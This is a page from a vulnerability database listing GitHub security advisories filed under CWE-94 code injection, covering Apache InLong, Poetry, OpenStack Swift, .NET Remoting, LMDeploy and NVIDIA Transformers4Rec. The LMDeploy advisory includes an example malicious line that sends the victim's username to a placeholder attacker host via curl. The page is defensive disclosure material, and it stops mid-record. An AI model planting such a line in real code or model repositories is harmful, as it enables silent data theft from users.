CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8335 vulnerabilities reference this CWE, most recent first.
GHSA-9XG9-HH45-XCM6
Vulnerability from github – Published: 2024-01-03 12:30 – Updated: 2025-02-13 19:30Improper Control of Generation of Code ('Code Injection') vulnerability in Apache InLong.This issue affects Apache InLong: from 1.5.0 through 1.9.0, which could lead to Remote Code Execution. Users are advised to upgrade to Apache InLong's 1.10.0 or cherry-pick [1] to solve it.
[1] https://github.com/apache/inlong/pull/9329
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.inlong:manager-pojo"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.0"
},
{
"fixed": "1.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-51784"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-03T22:03:13Z",
"nvd_published_at": "2024-01-03T10:15:09Z",
"severity": "CRITICAL"
},
"details": "Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in Apache InLong.This issue affects Apache InLong: from 1.5.0 through 1.9.0, which could lead to Remote Code Execution.\u00a0Users are advised to upgrade to Apache InLong\u0027s 1.10.0 or cherry-pick [1] to solve it.\n\n[1] https://github.com/apache/inlong/pull/9329",
"id": "GHSA-9xg9-hh45-xcm6",
"modified": "2025-02-13T19:30:07Z",
"published": "2024-01-03T12:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51784"
},
{
"type": "WEB",
"url": "https://github.com/apache/inlong/pull/9329"
},
{
"type": "WEB",
"url": "https://github.com/apache/inlong/commit/1607837be28438c0ccae8da15afb653f2afed090"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/inlong"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/4nxbyl6mh5jgh0plk0qposbxwn6w9h8j"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/01/03/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache InLong Manager Remote Code Execution vulnerability"
}
GHSA-9XGJ-FCGF-X6MW
Vulnerability from github – Published: 2022-09-16 19:26 – Updated: 2024-10-21 20:25Observation
When handling dependencies that come from a Git repository instead of a registry, Poetry uses various commands, such as git clone. These commands are being constructed using user input (e.g. the repository URL). When building the commands, Poetry correctly avoids Command Injection vulnerabilities by passing an array of arguments instead of a command string. However, there is the possibility that a user input starts with a dash (-) and is therefore treated as an optional argument instead of a positional one. This can lead to Code Execution because some of the commands have options that can be leveraged to run arbitrary executables.
To clone a repository, Poetry builds a git clone command, but fails to validate or sanitize the repository location properly:
def clone(self, repository: str, dest: Path) -> str:
return self.run("clone", "--recurse-submodules", repository, str(dest))
Since this value comes from the pyproject.toml file, it can contain any character, including a leading dash.
Impact
This vulnerability can lead to Arbitrary Code Execution, which would lead to the takeover of the system. If a developer is exploited, the attacker could steal credentials or persist their access. If the exploit happens on a server, the attackers could use their access to attack other internal systems. Since this vulnerability requires a fair amount of user interaction, it is not as dangerous as a remotely exploitable one. However, it still puts developers at risk when dealing with untrusted files in a way they think is safe, because the exploit still works when the victim tries to make sure nothing can happen, e.g. by vetting any Git or Poetry config files that might be present in the directory. This kind of attack vector has been used in the past to target security researchers by sending them projects to collaborate on, so we believe that there is a non-negligible risk.
Patches
1.1.8 || 1.2.0b1
Remediation
Upgrade to version 1.1.9 || 1.2.0b1
References
For more information
If you have any questions or comments about this advisory, email us at security@python-poetry.org
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "poetry"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-36069"
],
"database_specific": {
"cwe_ids": [
"CWE-88",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-16T19:26:59Z",
"nvd_published_at": "2022-09-07T19:15:00Z",
"severity": "HIGH"
},
"details": "### Observation\n\nWhen handling dependencies that come from a Git repository instead of a registry, Poetry uses various commands, such as `git clone`. These commands are being constructed using user input (e.g. the repository URL). When building the commands, Poetry correctly avoids Command Injection vulnerabilities by passing an array of arguments instead of a command string. However, there is the possibility that a user input starts with a dash (`-`) and is therefore treated as an optional argument instead of a positional one. This can lead to Code Execution because some of the commands have options that can be leveraged to run arbitrary executables.\n\nTo clone a repository, Poetry builds a git clone command, but fails to validate or sanitize the repository location properly:\n\n[`poetry/core/vcs/git.py`](https://github.com/python-poetry/poetry-core/blob/ad33bc2f92be03dc5b31a666664903c439fb1173/poetry/core/vcs/git.py#L207):\n\n```python\ndef clone(self, repository: str, dest: Path) -\u003e str:\n return self.run(\"clone\", \"--recurse-submodules\", repository, str(dest))\n```\n\nSince this value comes from the `pyproject.toml` file, it can contain any character, including a leading dash.\n\n### Impact\n\nThis vulnerability can lead to Arbitrary Code Execution, which would lead to the takeover of the system. If a developer is exploited, the attacker could steal credentials or persist their access. If the exploit happens on a server, the attackers could use their access to attack other internal systems.\nSince this vulnerability requires a fair amount of user interaction, it is not as dangerous as a remotely exploitable one. However, it still puts developers at risk when dealing with untrusted files in a way they think is safe, because the exploit still works when the victim tries to make sure nothing can happen, e.g. by vetting any Git or Poetry config files that might be present in the directory.\nThis kind of attack vector has been used in the past to target security researchers by sending them projects to collaborate on, so we believe that there is a non-negligible risk.\n\n### Patches\n\n1.1.8 || 1.2.0b1\n\n### Remediation\n\nUpgrade to version 1.1.9 || 1.2.0b1\n\n### References\n\n[Fix PR](https://github.com/python-poetry/poetry-core/pull/202)\n\n### For more information\nIf you have any questions or comments about this advisory, email us at [security@python-poetry.org](mailto:security@python-poetry.org)\n",
"id": "GHSA-9xgj-fcgf-x6mw",
"modified": "2024-10-21T20:25:55Z",
"published": "2022-09-16T19:26:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-poetry/poetry/security/advisories/GHSA-9xgj-fcgf-x6mw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36069"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/poetry/PYSEC-2022-266.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-poetry/poetry"
},
{
"type": "WEB",
"url": "https://github.com/python-poetry/poetry/releases/tag/1.1.9"
},
{
"type": "WEB",
"url": "https://github.com/python-poetry/poetry/releases/tag/1.2.0b1"
},
{
"type": "WEB",
"url": "https://www.sonarsource.com/blog/securing-developer-tools-package-managers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Poetry Argument Injection can lead to Local Code Execution"
}
GHSA-9XGV-6V35-MMCJ
Vulnerability from github – Published: 2022-05-14 02:10 – Updated: 2024-05-14 21:30XML injection vulnerability in account/utils.py in OpenStack Swift Folsom, Grizzly, and Havana allows attackers to trigger invalid or spoofed Swift responses via an account name.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "swift"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2013-2161"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-14T21:30:51Z",
"nvd_published_at": "2013-08-20T22:55:00Z",
"severity": "HIGH"
},
"details": "XML injection vulnerability in account/utils.py in OpenStack Swift Folsom, Grizzly, and Havana allows attackers to trigger invalid or spoofed Swift responses via an account name.",
"id": "GHSA-9xgv-6v35-mmcj",
"modified": "2024-05-14T21:30:51Z",
"published": "2022-05-14T02:10:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-2161"
},
{
"type": "WEB",
"url": "https://github.com/openstack/swift/commit/6659382c4fa348e1ebbce2424968dd7267ea1db1"
},
{
"type": "WEB",
"url": "https://github.com/openstack/swift/commit/8f9b135e0a16478a628f20224ce5babe62d4aaba"
},
{
"type": "WEB",
"url": "https://bugs.launchpad.net/swift/+bug/1183884"
},
{
"type": "PACKAGE",
"url": "https://github.com/openstack/swift"
},
{
"type": "WEB",
"url": "http://github.com/openstack/swift/commit/4eed6bf5b5028409f730be97ddcfb6bfa893c976"
},
{
"type": "WEB",
"url": "http://github.com/openstack/swift/commit/92d7eadd328797d392758c79e258c8455874c80e"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-updates/2013-07/msg00021.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2013-0993.html"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2012/dsa-2737"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2013/06/13/4"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "OpenStack Swift Unchecked user input in XML responses"
}
GHSA-9XM9-P5V4-94Q8
Vulnerability from github – Published: 2022-05-14 02:32 – Updated: 2022-05-14 02:32The .NET Remoting implementation in Microsoft .NET Framework 1.1 SP1, 2.0 SP2, 3.5, 3.5.1, 4, 4.5, and 4.5.1 does not properly restrict memory access, which allows remote attackers to execute arbitrary code via vectors involving malformed objects, aka "TypeFilterLevel Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2014-1806"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-05-14T11:13:00Z",
"severity": "HIGH"
},
"details": "The .NET Remoting implementation in Microsoft .NET Framework 1.1 SP1, 2.0 SP2, 3.5, 3.5.1, 4, 4.5, and 4.5.1 does not properly restrict memory access, which allows remote attackers to execute arbitrary code via vectors involving malformed objects, aka \"TypeFilterLevel Vulnerability.\"",
"id": "GHSA-9xm9-p5v4-94q8",
"modified": "2022-05-14T02:32:02Z",
"published": "2022-05-14T02:32:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-1806"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-026"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/67286"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9XQ9-36W5-Q796
Vulnerability from github – Published: 2026-05-21 19:33 – Updated: 2026-06-10 13:41📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"
The accurate description of this vulnerability is: "
get_model_archand related helpers hardcodetrust_remote_code=Truewith no opt-out, creating an implicit unsafe remote-code load path on every model fetch."What this report does NOT claim: * It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it. * It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.
What this report DOES claim: * Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose
--trust-remote-codeas opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name. * LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=Falsesince transformers ≥ 4.30). * The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H× user-must-load qualifier).Runtime evidence: see
12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.
F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in
Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.
TL;DR
LMDeploy unilaterally passes trust_remote_code=True to
transformers.AutoConfig.from_pretrained() (and several other
from_pretrained callers) regardless of any user opt-in. The
flag is hardcoded True in source — there is no CLI flag, no
environment variable, no parameter, and no warning that lets a
user refuse remote code execution from the model repository.
This is a silent override of HuggingFace Transformers' own
default-secure stance (trust_remote_code=False) introduced
in HF Transformers ≥ 4.30 specifically to prevent this class of
supply-chain RCE.
The user running lmdeploy serve api_server <attacker_repo>,
lmdeploy lite calibrate <attacker_repo>, etc. has no way to
opt out. The only escape hatch is for the user to never load
any third-party HF repo with LMDeploy — which is incompatible
with LMDeploy's documented use case.
HuggingFace's trust_remote_code=False default exists exactly to
prevent silent RCE when loading a third-party repo. LMDeploy overrides
this default, restoring the unsafe behaviour transparently. A malicious
HF repo with a configuration_*.py shim runs Python code as the
LMDeploy user at the very first call to get_model_arch(...).
This is a documented anti-pattern (see HF Hub docs:
"Trusting custom code is therefore tricky..."). Multiple peer
projects fixed similar issues — e.g. Hugging Face Transformers
itself made this opt-in by default, and vllm exposes the flag
through --trust-remote-code rather than hardcoding it.
Affected version
- Repository:
github.com/InternLM/lmdeploy, branchmain. - Branch SHA at audit time:
9df0eff7c38ae69b9d4b9f7ad1441e484d439f92(2026-05-02). - Pinned blob SHAs:
lmdeploy/archs.py→68fa03a407734be1e2ae04098d34e9acdbe98262lmdeploy/lite/apis/calibrate.py→0728304bdc3c03eee1d790bfbd5496df080a0ecdlmdeploy/lite/utils/load.py→7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120lmdeploy/pytorch/check_env/model.py→b1a2daaa426bf5fe25030f7913c703eed9f5b261
Snapshots of all four files are in source_pinned/.
Source-level evidence
Site 1 — architecture detection (every load goes through here)
lmdeploy/archs.py:147-157 — get_model_arch:
def get_model_arch(model_path: str):
"""Get a model's architecture and configuration."""
try:
cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
except Exception as e: # noqa
from transformers import PretrainedConfig
cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)
Both the primary path and the fallback hardcode
trust_remote_code=True. There is no parameter to override it. This
function is called from every model-loading path in lmdeploy.
Site 2 — quantization CLI
lmdeploy/lite/apis/calibrate.py:248-251:
tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)
lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq,
awq) all flow through this. Hardcoded.
Site 3 — calibration helper
lmdeploy/lite/utils/load.py:55:
def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
...
hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)
Even if the caller does not pass trust_remote_code=True in
**kwargs, the helper internally hardcodes it on the config call
(line 55), then loads the model on line 74. The config call alone is
sufficient for RCE: HF Transformers downloads configuration_*.py
from the repo and imports it whenever trust_remote_code=True.
Site 4 — pytorch engine check
lmdeploy/pytorch/check_env/model.py:10,99,234,242 —
trust_remote_code: bool = True is the default value for the engine's
parameter. Unlike the three sites above, this is "default true" not
"hardcoded true" — a determined caller can pass False — but every
shipped CLI passes True or relies on the default.
What trust_remote_code=True actually enables
When AutoConfig.from_pretrained(repo, trust_remote_code=True) is
called and the repo's config.json contains an auto_map key
pointing to a custom configuration_<name>.py:
- HF Transformers downloads the
.pyfile from the repo. - HF imports the module via
importlib, executing the file's top-level code (anyprint,os.system,subprocess.run,urllib.request.urlopen, etc. fires now). - HF then instantiates the named class.
So a malicious repo only needs a top-level
os.system("curl https://attacker/?$(whoami)") in
configuration_evil.py. It runs as the lmdeploy process user.
Threat model
Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:
- Casual users following a tutorial that says
lmdeploy serve api_server <some_repo>. - CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
- Researchers comparing models from many authors. Even running
lmdeploy lite calibratefor benchmarking is enough.
The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).
Comparison to peer projects
| Project | trust_remote_code default | User control |
|---|---|---|
| HuggingFace Transformers | False | trust_remote_code keyword arg |
| vLLM | False | --trust-remote-code flag |
| LMDeploy | True (hardcoded) | None |
| TGI | False | --trust-remote-code flag |
LMDeploy is the outlier. The rationale is presumably "internal
models like InternLM need custom configuration_*.py", but the fix is
to accept a CLI flag like --trust-remote-code and default-False as
the rest of the ecosystem does.
Suggested fix
Replace every hardcoded trust_remote_code=True with an explicit
opt-in via CLI flag:
# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
try:
cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
except Exception as e: # noqa
from transformers import PretrainedConfig
cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
Wire trust_remote_code through every call site. Add --trust-remote-code
to lmdeploy's CLI parser and forward it from server / calibrate /
gptq / etc. Default False.
A patch fragment is in patch.diff.
Disclosure plan
- Submit privately via lmdeploy security contact (typically email or
GitHub Security Advisory at
https://github.com/InternLM/lmdeploy/security/advisories/new). - Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
- 90-day coordinated-disclosure window starting from acknowledgement.
- Request CVE through GHSA flow once the patch lands.
Why static-only is sufficient here
Unlike F11 (RCE chain through _load_pt_file) which required a
runtime PoC to demonstrate the pickle gadget execution, this finding
is a single trust-flag flip — the behaviour of
AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF
repo with a malicious configuration_*.py is documented behaviour of
HF Transformers itself (their own docs warn against it). Reproducing
it adds no new evidence; the static flag-state is the bug.
If the vendor requests a runtime PoC during triage we will provide
one (a malicious HF repo with configuration_evil.py + a one-liner
lmdeploy lite calibrate <repo> invocation), but holding it back from
the initial advisory avoids publishing a working exploit during the
disclosure window.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "lmdeploy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.12.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46517"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-915",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-21T19:33:32Z",
"nvd_published_at": "2026-06-10T00:16:53Z",
"severity": "HIGH"
},
"details": "\u003e ## \ud83d\udccb Reframing (2026-05-02): implicit unsafe remote-code path, not \"supply-chain\"\n\u003e\n\u003e The accurate description of this vulnerability is:\n\u003e **\"`get_model_arch` and related helpers hardcode `trust_remote_code=True`\n\u003e with no opt-out, creating an implicit unsafe remote-code load path\n\u003e on every model fetch.\"**\n\u003e\n\u003e What this report does NOT claim:\n\u003e * It is NOT a network-attack RCE \u2014 the user supplies the model\n\u003e reference; LMDeploy honors it.\n\u003e * It is NOT a \"supply chain\" CVE in the classical sense (where a\n\u003e benign upstream is compromised) \u2014 the user explicitly types the\n\u003e repo name.\n\u003e\n\u003e What this report DOES claim:\n\u003e * Other inference frameworks (vLLM, TGI, Hugging Face transformers\n\u003e itself) all expose `--trust-remote-code` as **opt-in** so that\n\u003e users who consciously load known-safe repos can opt in, while\n\u003e users following a tutorial cannot accidentally execute attacker\n\u003e Python by typing a wrong repo name.\n\u003e * LMDeploy\u0027s hardcoded True is an **implicit** trust-boundary\n\u003e override that violates HF Transformers\u0027 default-secure stance\n\u003e (`trust_remote_code=False` since transformers \u2265 4.30).\n\u003e * The fix is a one-line CLI flag (`--trust-remote-code`) defaulting\n\u003e False, threaded through the three sites, matching the rest of\n\u003e the ecosystem.\n\u003e\n\u003e Severity should be assessed as **hardening / safe-by-default**,\n\u003e not as full unauthenticated RCE. CVSS revised to **5.5 Medium**\n\u003e (`AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` \u00d7 user-must-load qualifier).\n\u003e\n\u003e Runtime evidence: see `12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt`.\n\n---\n\n# F13 \u2014 LMDeploy: hardcoded `trust_remote_code=True` enables HF supply-chain RCE without user opt-in\n\n**Reporter:** ibondarenko1 / sactransport2000@gmail.com\n**Coordinated-disclosure window:** 90 days from initial vendor email.\n\n## TL;DR\n\nLMDeploy unilaterally passes `trust_remote_code=True` to\n`transformers.AutoConfig.from_pretrained()` (and several other\n`from_pretrained` callers) **regardless of any user opt-in**. The\nflag is hardcoded `True` in source \u2014 there is no CLI flag, no\nenvironment variable, no parameter, and no warning that lets a\nuser refuse remote code execution from the model repository.\nThis is a **silent override of HuggingFace Transformers\u0027 own\ndefault-secure stance** (`trust_remote_code=False`) introduced\nin HF Transformers \u2265 4.30 specifically to prevent this class of\nsupply-chain RCE.\n\nThe user running `lmdeploy serve api_server \u003cattacker_repo\u003e`,\n`lmdeploy lite calibrate \u003cattacker_repo\u003e`, etc. has **no way to\nopt out**. The only escape hatch is for the user to never load\nany third-party HF repo with LMDeploy \u2014 which is incompatible\nwith LMDeploy\u0027s documented use case.\n\nHuggingFace\u0027s `trust_remote_code=False` default exists exactly to\nprevent silent RCE when loading a third-party repo. LMDeploy overrides\nthis default, restoring the unsafe behaviour transparently. A malicious\nHF repo with a `configuration_*.py` shim runs Python code as the\nLMDeploy user at the very first call to `get_model_arch(...)`.\n\nThis is a documented anti-pattern (see HF Hub docs:\n\"Trusting custom code is therefore tricky...\"). Multiple peer\nprojects fixed similar issues \u2014 e.g. Hugging Face Transformers\nitself made this opt-in by default, and `vllm` exposes the flag\nthrough `--trust-remote-code` rather than hardcoding it.\n\n## Affected version\n\n* Repository: `github.com/InternLM/lmdeploy`, branch `main`.\n* Branch SHA at audit time: `9df0eff7c38ae69b9d4b9f7ad1441e484d439f92`\n (2026-05-02).\n* Pinned blob SHAs:\n * `lmdeploy/archs.py` \u2192 `68fa03a407734be1e2ae04098d34e9acdbe98262`\n * `lmdeploy/lite/apis/calibrate.py` \u2192\n `0728304bdc3c03eee1d790bfbd5496df080a0ecd`\n * `lmdeploy/lite/utils/load.py` \u2192\n `7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120`\n * `lmdeploy/pytorch/check_env/model.py` \u2192\n `b1a2daaa426bf5fe25030f7913c703eed9f5b261`\n\nSnapshots of all four files are in `source_pinned/`.\n\n## Source-level evidence\n\n### Site 1 \u2014 architecture detection (every load goes through here)\n\n`lmdeploy/archs.py:147-157` \u2014 `get_model_arch`:\n```python\ndef get_model_arch(model_path: str):\n \"\"\"Get a model\u0027s architecture and configuration.\"\"\"\n try:\n cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)\n except Exception as e: # noqa\n from transformers import PretrainedConfig\n cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)\n```\n\n**Both** the primary path and the fallback hardcode\n`trust_remote_code=True`. There is no parameter to override it. This\nfunction is called from every model-loading path in lmdeploy.\n\n### Site 2 \u2014 quantization CLI\n\n`lmdeploy/lite/apis/calibrate.py:248-251`:\n```python\ntokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)\n...\nmodel = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)\n```\n\n`lmdeploy lite calibrate \u003crepo\u003e` and downstream quant CLIs (gptq,\nawq) all flow through this. Hardcoded.\n\n### Site 3 \u2014 calibration helper\n\n`lmdeploy/lite/utils/load.py:55`:\n```python\ndef load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):\n ...\n hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)\n```\n\nEven if the caller does not pass `trust_remote_code=True` in\n`**kwargs`, the helper internally hardcodes it on the config call\n(line 55), then loads the model on line 74. The config call alone is\nsufficient for RCE: HF Transformers downloads `configuration_*.py`\nfrom the repo and `import`s it whenever `trust_remote_code=True`.\n\n### Site 4 \u2014 pytorch engine check\n\n`lmdeploy/pytorch/check_env/model.py:10,99,234,242` \u2014\n`trust_remote_code: bool = True` is the default value for the engine\u0027s\nparameter. Unlike the three sites above, this is \"default true\" not\n\"hardcoded true\" \u2014 a determined caller can pass False \u2014 but every\nshipped CLI passes True or relies on the default.\n\n### What `trust_remote_code=True` actually enables\n\nWhen `AutoConfig.from_pretrained(repo, trust_remote_code=True)` is\ncalled and the repo\u0027s `config.json` contains an `auto_map` key\npointing to a custom `configuration_\u003cname\u003e.py`:\n\n1. HF Transformers downloads the `.py` file from the repo.\n2. HF imports the module via `importlib`, **executing the file\u0027s\n top-level code** (any `print`, `os.system`, `subprocess.run`,\n `urllib.request.urlopen`, etc. fires now).\n3. HF then instantiates the named class.\n\nSo a malicious repo only needs a top-level\n`os.system(\"curl https://attacker/?$(whoami)\")` in\n`configuration_evil.py`. It runs as the lmdeploy process user.\n\n## Threat model\n\n**Attack surface.** Any user who runs an lmdeploy CLI command against\na HuggingFace repo identifier they did not personally vet. This\nincludes:\n\n* Casual users following a tutorial that says\n `lmdeploy serve api_server \u003csome_repo\u003e`.\n* CI pipelines that automatically pull a model from HF Hub by\n configuration (e.g. updates to a non-Pinned version tag).\n* Researchers comparing models from many authors. Even running\n `lmdeploy lite calibrate` for benchmarking is enough.\n\nThe user is **not warned** that arbitrary Python from the repo will\nexecute, and there is **no flag** to disable it. The CVE class is\nCWE-94 (Improper Control of Generation of Code, supply-chain\nflavour) and CWE-915 (Improperly Controlled Modification of\nDynamically-Determined Object Attributes).\n\n## Comparison to peer projects\n\n| Project | trust_remote_code default | User control |\n|---|---|---|\n| HuggingFace Transformers | False | `trust_remote_code` keyword arg |\n| vLLM | False | `--trust-remote-code` flag |\n| **LMDeploy** | **True (hardcoded)** | **None** |\n| TGI | False | `--trust-remote-code` flag |\n\nLMDeploy is the outlier. The rationale is presumably \"internal\nmodels like InternLM need custom configuration_*.py\", but the fix is\nto accept a CLI flag like `--trust-remote-code` and default-False as\nthe rest of the ecosystem does.\n\n## Suggested fix\n\nReplace every hardcoded `trust_remote_code=True` with an explicit\nopt-in via CLI flag:\n\n```python\n# lmdeploy/archs.py \u2014 get_model_arch\ndef get_model_arch(model_path: str, trust_remote_code: bool = False):\n try:\n cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n except Exception as e: # noqa\n from transformers import PretrainedConfig\n cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n```\n\nWire `trust_remote_code` through every call site. Add `--trust-remote-code`\nto lmdeploy\u0027s CLI parser and forward it from server / calibrate /\ngptq / etc. **Default False**.\n\nA patch fragment is in `patch.diff`.\n\n## Disclosure plan\n\n1. Submit privately via lmdeploy security contact (typically email or\n GitHub Security Advisory at\n `https://github.com/InternLM/lmdeploy/security/advisories/new`).\n2. Reference Hugging Face Transformers\u0027 historical opt-out \u2192 opt-in\n change as precedent for the fix shape.\n3. 90-day coordinated-disclosure window starting from acknowledgement.\n4. Request CVE through GHSA flow once the patch lands.\n\n## Why static-only is sufficient here\n\nUnlike F11 (RCE chain through `_load_pt_file`) which required a\nruntime PoC to demonstrate the pickle gadget execution, this finding\nis a **single trust-flag flip** \u2014 the behaviour of\n`AutoConfig.from_pretrained(repo, trust_remote_code=True)` on a HF\nrepo with a malicious `configuration_*.py` is documented behaviour of\nHF Transformers itself (their own docs warn against it). Reproducing\nit adds no new evidence; the static flag-state is the bug.\n\nIf the vendor requests a runtime PoC during triage we will provide\none (a malicious HF repo with `configuration_evil.py` + a one-liner\n`lmdeploy lite calibrate \u003crepo\u003e` invocation), but holding it back from\nthe initial advisory avoids publishing a working exploit during the\ndisclosure window.",
"id": "GHSA-9xq9-36w5-q796",
"modified": "2026-06-10T13:41:20Z",
"published": "2026-05-21T19:33:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9xq9-36w5-q796"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46517"
},
{
"type": "PACKAGE",
"url": "https://github.com/InternLM/lmdeploy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out"
}
GHSA-9XW2-C8RR-FH9Q
Vulnerability from github – Published: 2025-08-13 18:31 – Updated: 2025-08-13 18:31NVIDIA Merlin Transformers4Rec for all platforms contains a vulnerability in a python dependency, where an attacker could cause a code injection issue. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.
{
"affected": [],
"aliases": [
"CVE-2025-23298"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-13T18:15:29Z",
"severity": "HIGH"
},
"details": "NVIDIA Merlin Transformers4Rec for all platforms contains a vulnerability in a python dependency, where an attacker could cause a code injection issue. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.",
"id": "GHSA-9xw2-c8rr-fh9q",
"modified": "2025-08-13T18:31:25Z",
"published": "2025-08-13T18:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23298"
},
{
